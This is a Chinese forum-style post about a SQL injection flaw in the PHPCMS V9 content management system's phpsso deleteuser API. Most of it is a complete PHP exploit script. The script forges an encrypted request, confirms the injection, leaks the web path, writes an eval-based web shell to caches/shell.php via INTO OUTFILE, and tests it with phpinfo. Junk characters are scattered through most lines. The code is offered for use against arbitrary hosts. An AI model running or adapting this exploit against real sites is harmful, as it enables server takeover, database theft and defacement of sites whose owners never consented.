PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
% w1 H+ Q& d5 ]+ m
. [3 J5 ?# q1 ?; ?- X4 y3 T0 I, K所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。" ^0 _ Z7 G. R3 S' O6 x' a9 x
: ]$ {) [5 ]. b; x- m) u }4 k
漏洞分析:
& E: V8 u# a7 {' `9 o# a0 a1.未启用ucenter服务的情况下uc_key为空, h% {% g" i$ Z6 a! F9 E
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
% l5 B# X/ ^8 J! ^& H2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。2 X! a8 l0 k. l. y6 s( Z
public function deleteuser($get,$post) {
% |" C# H( O$ b1 {3 u pc_base::load_app_func('global', 'admin');3 i& c6 q, n% p7 i8 U( K
pc_base::load_app_class('messagequeue', 'admin' , 0);9 O# ^: v* `1 A! B2 S, C: B
$ids = new_stripslashes($get['ids']);( x2 W% L& ^9 R- }, j
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
! p4 j4 k2 T, W2 D# x0 {( iSQL语句为
* \$ C! X6 C- ]- XSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids) _% X: x- y5 D! Y8 C$ ?+ Z
3 a6 @2 j; ]" l1 K利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell( S3 o" f( k- H9 f/ ]
<?php
3 \8 x$ z; I4 S! gprint_r('7 \9 q: {8 a" k7 d( K
---------------------------------------------------------------------------
+ }# X5 X( y% O2 |/ |" qPHPcms (v9 or Old Version) uc api sql injection 0day
6 ?- w0 n) P( U8 |by rayh4c#80sec.com1 Z$ H% k1 ^4 n$ b) p1 s+ y4 J
---------------------------------------------------------------------------
7 \2 A4 [9 d! D3 h& _. s# D');# V# T4 B! R/ W6 j6 |
$ F9 x. T; U& [8 q
if ($argc<3) {
- U! U" F# p' l& a" I. D: ` print_r('" j5 }1 A4 X; Z8 K
---------------------------------------------------------------------------& ?& K5 {* [8 r9 y! \
Usage: php '.$argv[0].' host path OPTIONS p& B+ ~1 x2 r$ e8 K/ c4 B* e
host: target server (ip/hostname)9 U$ K, w( T$ d
path: path to phpcms( N* ^' ~' F/ U
Options:
0 T* n5 z" e6 w+ L9 [ -p[port]: specify a port other than 80! p$ c* A5 m, }! J( ^
-P[ip:port]: specify a proxy7 w) k* V& v S* i* w, W
Example:
5 F0 l* W# V+ d2 ?9 }+ i* Pphp '.$argv[0].' localhost /0 }9 N2 N% U# [" f7 ~- W
php '.$argv[0].' localhost /phpcms/ -p81$ d) R* V5 Q' ]5 d: [) N0 g8 i
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80# z# x {1 Q8 B. I9 p1 Q" l
---------------------------------------------------------------------------
3 ^3 }7 }! v& Y2 y: Q');
% N C7 R1 A" K! l3 [ die;1 R k1 |4 ]* v0 n- V
}4 @; Y b9 P( e& B- }' h) M
: E) N; J' O" H* T: c
error_reporting(7);% g- s- ?1 J+ I4 S) N
ini_set("max_execution_time",0);
. J* f6 V. p) V1 a+ T, G8 Sini_set("default_socket_timeout",5);) ^7 J* y) s* n
& V5 B5 T- z. P" N7 b& Lfunction quick_dump($string)3 n+ @2 w0 j$ ^5 @2 d; T6 \8 Q2 q
{1 U5 i, Z0 p* p; f3 ] C
$result='';$exa='';$cont=0;
+ |7 k- C# x9 H. y for ($i=0; $i<=strlen($string)-1; $i++)! f$ g. ?- v, b4 M: P
{8 p, O3 G4 u4 ^- H: t, u n
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))& R) ]1 _5 X) Q- Z3 t: l
{$result.=" .";}7 ~. R: s5 m8 m, v" Z/ q
else
5 V i# O$ X+ T; t5 c* N {$result.=" ".$string[$i];}3 w. O/ \9 u0 H
if (strlen(dechex(ord($string[$i])))==2)
! I7 Z) U3 k) j# U {$exa.=" ".dechex(ord($string[$i]));}) ^% o; c3 K: P: x X. q
else
5 S3 E8 V% r9 i: e {$exa.=" 0".dechex(ord($string[$i]));}
% @$ e! X! w8 [; T# l" ^/ Q $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
% q2 B4 M6 T( k; f3 j1 o }
! ]- d& ]+ k% J( f return $exa."\r\n".$result;
3 K: S. ]+ g: K8 u9 ?}
; {( k3 e5 C2 J- C$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
; P" [5 N8 R+ t9 W+ J9 A3 s; y5 h% x' x- K% [
function send($packet)8 K4 i( `6 q# P
{9 \7 r: M. c2 J
global $proxy, $host, $port, $html, $proxy_regex;1 \/ w* I/ {2 q5 y! w, q- i: h
if ($proxy=='') {7 [# X2 M! T9 m9 w4 y$ h9 Z
$ock=fsockopen(gethostbyname($host),$port);/ q' A/ [; F5 t% [ C- u3 w4 |6 r
if (!$ock) {
3 H. B3 Q- j; k6 K, @8 u echo 'No response from '.$host.':'.$port; die;
; j+ J, X% C7 Q }5 R. t% |0 A3 J" H$ [
}
- `, P3 w4 _6 L# d- K `+ f else {7 B+ ?' n( b: J& u6 v; d6 ~
$c = preg_match($proxy_regex,$proxy);( b1 d+ V) ?5 {( i9 q: m" c
if (!$c) {
+ A) q6 f, P) [" ]3 D( R echo 'Not a valid proxy...';die;
9 f8 m- S6 K3 T }
3 y- ~ g) z o; ^ $parts=explode(':',$proxy);( j, f4 M7 h8 h2 l% h5 n8 d1 V. d* d" D
$parts[1]=(int)$parts[1];
" v7 _$ b; r, k+ |; k% a- ? echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";- F) U' W4 [2 E0 H. ?/ B4 a8 z( h
$ock=fsockopen($parts[0],$parts[1]);# p* K# A$ J$ |* |) ^7 k. {
if (!$ock) {
) p# D4 n% V& S6 f o. P- E- ? echo 'No response from proxy...';die;
: w1 F6 P* Q8 W" k$ c }
' j3 k0 ?) N+ N" x }
$ H; E( X4 n3 R/ j fputs($ock,$packet);
* U1 e% m# Z5 M+ u- V, F2 m if ($proxy=='') {
! m& v: s/ s$ R! C $html='';
x8 [6 H' ?* \, Q- Q$ r' \ while (!feof($ock)) {2 j' X9 u9 s$ Z6 `4 k0 \( a
$html.=fgets($ock);
1 I a8 d+ N3 F4 R } L1 I. W7 @& }* ^
}- Y7 E- N% T0 ]- _" W7 }2 H4 c. l
else {" _) K2 V7 W% Z% r: B% ^/ ]
$html='';
& J( g" G( C K6 @) @) d while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {' r) V; P/ d2 E B% h
$html.=fread($ock,1);
2 z- z6 u" L6 F; T% d, v }% L- v Q2 a8 L& E0 S
} U8 x2 ?8 D/ \' p# x$ J& j
fclose($ock);
& u+ @$ u6 @* K7 a. y. f}
# [( }: u! q! r+ h. ?/ D: v1 i7 [* j9 j# s+ `, ]
$host=$argv[1];
3 q( F2 R/ j; b/ |2 t) T$path=$argv[2];( B1 Z2 t, e' C/ C( ?
$port=80;
5 n0 T6 [$ y7 \2 j0 Y3 ^& p$proxy="";( n2 \5 e4 f* K* Q6 Y( {
for ($i=3; $i<$argc; $i++){7 w2 i" T. K! J/ N
$temp=$argv[$i][0].$argv[$i][1];
* ?: V3 L$ t9 q4 L; h( A3 kif ($temp=="-p")
; o& o% P! T2 l; M' w{: r. D+ j; r; B
$port=(int)str_replace("-p","",$argv[$i]);/ {/ S S8 Y2 D
}
% j+ d6 R$ E( {2 ^, qif ($temp=="-P")
/ X; ~1 G. z& t: \( u7 r5 q{8 c- g/ P# Z) b; g" _: S! f
$proxy=str_replace("-P","",$argv[$i]);. D, N" g$ ?- O3 D4 ?; r
}
9 D# H' v; `( {}! I1 v4 V; i1 ]
% Y( N) g/ Z# I1 a7 d: Eif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}% P9 w6 {7 X& A2 V
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}1 f) E. q# \( c
g2 |4 @3 r$ s; ^; d9 w: V
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {/ \1 I+ m+ d8 V; j, h( L
% l/ @, ~' B( p6 Y. P- w6 `# u- J $ckey_length = 4;
' A4 [& O3 p7 p7 ^
# A0 u2 |2 R6 _5 N5 y0 j* r $key = md5($key ? $key : '');9 ^; ^5 Y" x- \$ k5 Z
$keya = md5(substr($key, 0, 16));" b; I8 `; W7 {
$keyb = md5(substr($key, 16, 16));
% b" G j) B. w# | $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
5 t7 d6 h) @0 l8 B
+ |4 P2 {+ C. S: Z ~. j $cryptkey = $keya.md5($keya.$keyc);
, U1 f$ I$ X2 F2 o% @0 s $key_length = strlen($cryptkey);% Q+ V- y% S4 |6 I) o [, l4 Q
2 B) O% f3 O# `% Q6 W7 L4 { $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
8 }1 B6 b( l' H$ c4 n+ G, c $string_length = strlen($string);
$ L o% X# |" ?" \
- N( w, p# z5 [$ {5 t% m $result = '';+ i2 X- i. v3 f. M1 v9 Z7 \9 h
$box = range(0, 255);" h+ D- ^6 x/ ?1 O! J) }) R! v
& ?9 f) }+ _* h) m5 ?/ |6 e
$rndkey = array();
7 V! j# V2 ~1 E# E for($i = 0; $i <= 255; $i++) {0 Y% y& p& L' {# F
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
/ g& B) n% y% o) W5 o }6 k) Y/ R; a+ k2 z! _- V/ }
: M. Q) a. ?" ]: o5 Q% _% E6 Q
for($j = $i = 0; $i < 256; $i++) {) Z& V% k, S) |! _
$j = ($j + $box[$i] + $rndkey[$i]) % 256;8 v3 ?1 f* O" i1 a! g
$tmp = $box[$i];
. d" F; v8 q! t0 o $box[$i] = $box[$j];5 ^4 {2 L. B h. |+ B2 Q9 |
$box[$j] = $tmp;4 g: r) Q3 A. R
}
3 e2 a% m) E. s0 f' h2 w9 M. r+ s3 W) j) a t: o
for($a = $j = $i = 0; $i < $string_length; $i++) {; h$ Z" \) e% U5 F& v$ b
$a = ($a + 1) % 256;9 U, V' B; ^7 P& n/ U
$j = ($j + $box[$a]) % 256;! x8 I( K. D: s6 K5 |, @2 a
$tmp = $box[$a];
b. G6 y* W; i $box[$a] = $box[$j];
+ F @$ J- b4 m# p) ], N( f $box[$j] = $tmp;
( K- t6 W. j+ Q/ X5 j $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
. h ?7 H1 W8 f- |5 o5 K& K }& O" y' [! z) g8 \- O8 v
6 m2 y! \: @- j( T- L- K if($operation == 'DECODE') {
- P; {3 y9 J. `. t+ V1 _ if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
- j: O& \8 u/ v& H& x0 S return substr($result, 26);
8 Q2 C: u0 f O5 f' v6 r } else {
' d2 z# R, O/ F7 R$ a: L return '';; _" }/ t9 z0 q
}. z) |- U7 C M0 G
} else {6 c" b2 k% Y2 q5 o% s
return $keyc.str_replace('=', '', base64_encode($result));
1 p* S" H3 d. g) k1 T. g+ Z }+ j' U* I8 I4 V) P! Q, H; A& q$ `
1 E x. T+ I" P( |}/ c3 v; H5 H% Y, Z; O
4 h7 ^' F% J$ J3 C. U' W- L( J$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";( y7 w9 b% y" \9 f
$SQL = urlencode(authcode($SQL, "ENCODE", ""));9 `; ^4 c% J( ^) Y
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";+ \$ M# ?+ \, q! R( v% B/ `
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";* x; J) j: V: _, o; D$ ?9 c/ m
$packet.="User-Agent: Mozilla/5.0\r\n";* m: Z0 y9 |# W: L0 b a9 e
$packet.="Host: ".$host."\r\n";- s4 K. S P' n9 Z8 `; p' V# `
$packet.="Connection: Close\r\n\r\n";
5 Z0 x/ b+ E# n) @# l' esend($packet);
/ }1 o b4 p/ V- o7 wif(strpos($html,"MySQL Errno") > 0){1 _2 m5 \4 x! i2 y; ]6 X
echo "[2] 发现存在SQL注入漏洞"."\n";, A% s, c& S2 k$ y+ D
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";+ J0 |! D2 C. r. v
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";7 Y0 L" Q/ Z8 {4 G
$packet.="User-Agent: Mozilla/5.0\r\n";/ N) J7 G- [, S3 N3 y
$packet.="Host: ".$host."\r\n";
) @& q2 i# Q( q2 u2 D$packet.="Connection: Close\r\n\r\n";8 y# G2 j9 \( O% u( s6 C p- A! N% |5 X
send($packet);7 e# d0 r. Z8 L& I# m% F! H4 u' ^
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
8 z8 Q( r" h$ c3 ~' ]//print_r($matches);( Y& N- n S/ @) [/ y) q" _
if(!empty($matches)){6 A( E" {/ p* |& Y" }
echo "[4] 得到web路径 " . $matches[0]."\n";
" q2 `$ v" p8 ~5 |echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";- X9 Y- Y( O. Z' e
$SQL = "time=999999999999999999999999&ids=1)";( m. i# q+ _: ^0 c# x3 a; ^* e
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";" ~/ b5 K, @+ w1 |9 M% \* g
$SQL.="&action=deleteuser";
, a6 Y! D @2 U; U$SQL = urlencode(authcode($SQL, "ENCODE", ""));$ d; G& E8 h2 ?6 L( e( ] `0 l
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";# i8 ?. @' |- @
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
3 Z3 k- E: Z1 Q5 d" C9 Y& |+ d. r$packet.="User-Agent: Mozilla/5.0\r\n";3 u1 z3 u7 n4 e: @$ `3 g1 r
$packet.="Host: ".$host."\r\n";+ X2 ?4 i' c; r; ]. l2 r
$packet.="Connection: Close\r\n\r\n";) D b: B2 O, ^: B' k0 R$ c
send($packet);
5 X; i7 p$ w! ^- }" ]if(strpos($html,"Access denied") > 0){" ^9 O& w, I/ e
echo "[-] MYSQL权限过低 禁止写入文件 ";1 L8 n G7 i) O. M" z% U+ T* b
die;# d* y5 G4 z- K) H0 A1 z& ^* k
}1 t2 a0 f) P. f, l
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";2 H( L6 w! Y/ P' m
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";. _- v4 M: l( F& z4 P
$packet.="User-Agent: Mozilla/5.0\r\n";
9 S) ^) U8 @: `$packet.="Host: ".$host."\r\n";
; P8 t/ S( q d' h* f% R" r. L) D$packet.="Connection: Close\r\n\r\n";+ c- r6 u: @0 m d' n
send($packet);
1 f% k& g' p( O4 tif(strpos($html,"<title>phpinfo()</title>") > 0){+ [4 D) _8 n: W" ^. }
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
$ u# Y3 e, |& T3 z3 a}
+ T- H* G+ j; ?, b1 H Z}else{
& q5 f% Q* `: C' N {* {& Qecho "[-]未取到web路径 ";& S$ X% b0 n: d
}) c1 b! D2 i" I7 s, Y
}else{
! K7 `% n8 F* Q# A& M, Techo "[*]不存在SQL注入漏洞"."\n";
9 W; q+ z% b* S( }}
8 d# R( ~1 J) }1 U$ W8 P+ I, Z& q7 j5 J/ o0 }
?>
) S- V- ]8 ?* }8 J% t |